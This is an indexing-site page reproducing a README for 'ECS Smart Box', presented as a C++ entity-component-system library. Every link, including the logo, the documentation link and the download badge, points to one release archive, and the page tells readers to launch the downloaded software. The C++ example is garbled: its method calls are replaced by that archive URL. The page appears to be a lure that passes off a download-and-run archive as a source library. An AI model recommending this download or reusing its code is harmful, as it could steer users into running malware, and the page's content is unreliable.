An open API service indexing awesome lists of open source software.

https://github.com/jefferyy56/ecs-smart-box

C++ implementation of basic ECS using heap allocated, type erased components, that are using mechanism similar to unique_ptr.
https://github.com/jefferyy56/ecs-smart-box

c cpp enitity-component-system entity entity-component heap memory system

Last synced: about 1 month ago
JSON representation

C++ implementation of basic ECS using heap allocated, type erased components, that are using mechanism similar to unique_ptr.

Awesome Lists containing this project

README

          

# ECS Smart Box 📦

![ECS Smart Box Logo](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)

Welcome to **ECS Smart Box**, a powerful C++ implementation of a basic Entity-Component-System using heap-allocated, type-erased components. This system utilizes a mechanism similar to `unique_ptr` to manage memory efficiently while offering flexibility to build complex interactive systems.

## Features 🚀

🔹 **Heap Allocation**: Components are allocated on the heap to optimize memory usage and provide dynamic storage capabilities.

🔹 **Type Erasure**: Components are stored in a type-erased manner, allowing for generic handling and ease of use across different component types.

🔹 **Entity-Component System**: Follows the ECS architectural pattern for organizing and managing game entities and their associated components.

## How to Use 🛠️

To get started with **ECS Smart Box**:
1. Clone the repository.
2. Build the project using a C++ compiler.
3. Include the necessary headers in your application.
4. Create entities, add components, and define systems to interact with them.

Here is an example code snippet to demonstrate how to use the ECS:

```cpp
#include

int main() {
ECSManager ecsManager;

// Create entities
Entity& player = https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip();

// Add components
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(x, y);
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip("https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip");

// Define systems
MovementSystem movementSystem;
RenderSystem renderSystem;

// Update systems
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);

return 0;
}
```

## Repository Topics 📋

⭐️ **Tags**: c, cpp, cpp11, cpp17, cpp20, entity-component-system, entity, entity-component, heap, memory, system

## Download Software 📥

[![Download ECS Smart Box](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)

*Note: The software needs to be launched after downloading.*

## Learn More 📚

For more information on **ECS Smart Box** and its capabilities, visit the official [documentation website](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip).

Start building dynamic and interactive systems with ease using the ECS Smart Box library! 🌟